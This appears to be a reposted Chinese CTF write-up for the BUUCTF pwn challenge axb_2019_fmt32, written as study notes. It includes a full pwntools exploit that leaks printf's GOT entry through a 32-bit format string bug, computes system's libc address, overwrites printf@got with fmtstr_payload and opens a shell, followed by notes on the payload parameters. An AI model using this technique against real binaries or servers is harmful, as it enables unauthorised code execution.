题目
平台:BUUCTF
题目:axb_2019_fmt32
考点:32位格式化字符串泄露libc,fmtstr_payload
覆盖printf@got
代码
from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
p = remote('node5.buuoj.cn', 25273)
#p=process('./axb_2019_fmt32')
#p = process(['./ld-2.31.so','./pwn'], env = {'LD_PRELOAD' : './libc-2.31.so'})
#p=gdb.debug('./axb_2019_fmt32','b *0x8048741')
elf = ELF('./axb_2019_fmt32')
libc=ELF('./libc-2.23.so')
printf_got = elf.got['printf']
payload=b'a'+p32(printf_got)+b'%8$s'
p.sendafter(b'me:',payload)
printf_addr = u32(p.recvuntil(b"xf7")[-4:])
success('printf addr: '+hex(printf_addr))
libc_base=printf_addr-libc.symbols['printf']
system=libc_base+libc.symbols['system']
success('system addr: '+hex(system))
payload=b'a'+fmtstr_payload(8,{printf_got:system},write_size = "byte",numbwritten = 0xa)
p.sendline(payload)
p.sendline(b';/bin/shx00')
p.interactive()
分析
输入a占格子然后往栈上第8位丢printf_got
,通过%s
显示出其指针指向地址的内容(%p
只能显示第8位上的内容)
泄露出printf_got
实际地址的值后通过buu的libc计算出system的地址
然后使用fmtstr_payload
生成payload,栈上开始泄露的位置是第8位,通过%n
把printf@got
的值替换成system在libc中的地址,使用byte格式进行hhn写,在执行printf前已经打印了10个字符(repeater:字符串加最开头添加的a字符),所以需要设置下numbwritten
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
第一个参数表示格式化字符串的偏移
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT:systemAddress};
第三个参数表示已经输出的字符个数
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写
使用fmtstr_apyload一次改两个地方的值:fmtstr_payload(6,{fini_arry:main_addr, printf_got:system_plt})
,把printf_got地址(0x403810)中的7f开头的值改成system在libc中的7f那个值, 0x403810:0x7f9de9280ed0
原文始发于微信公众号(智佳网络安全):CTF学习-PWN-格式化字符串2
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/300837.html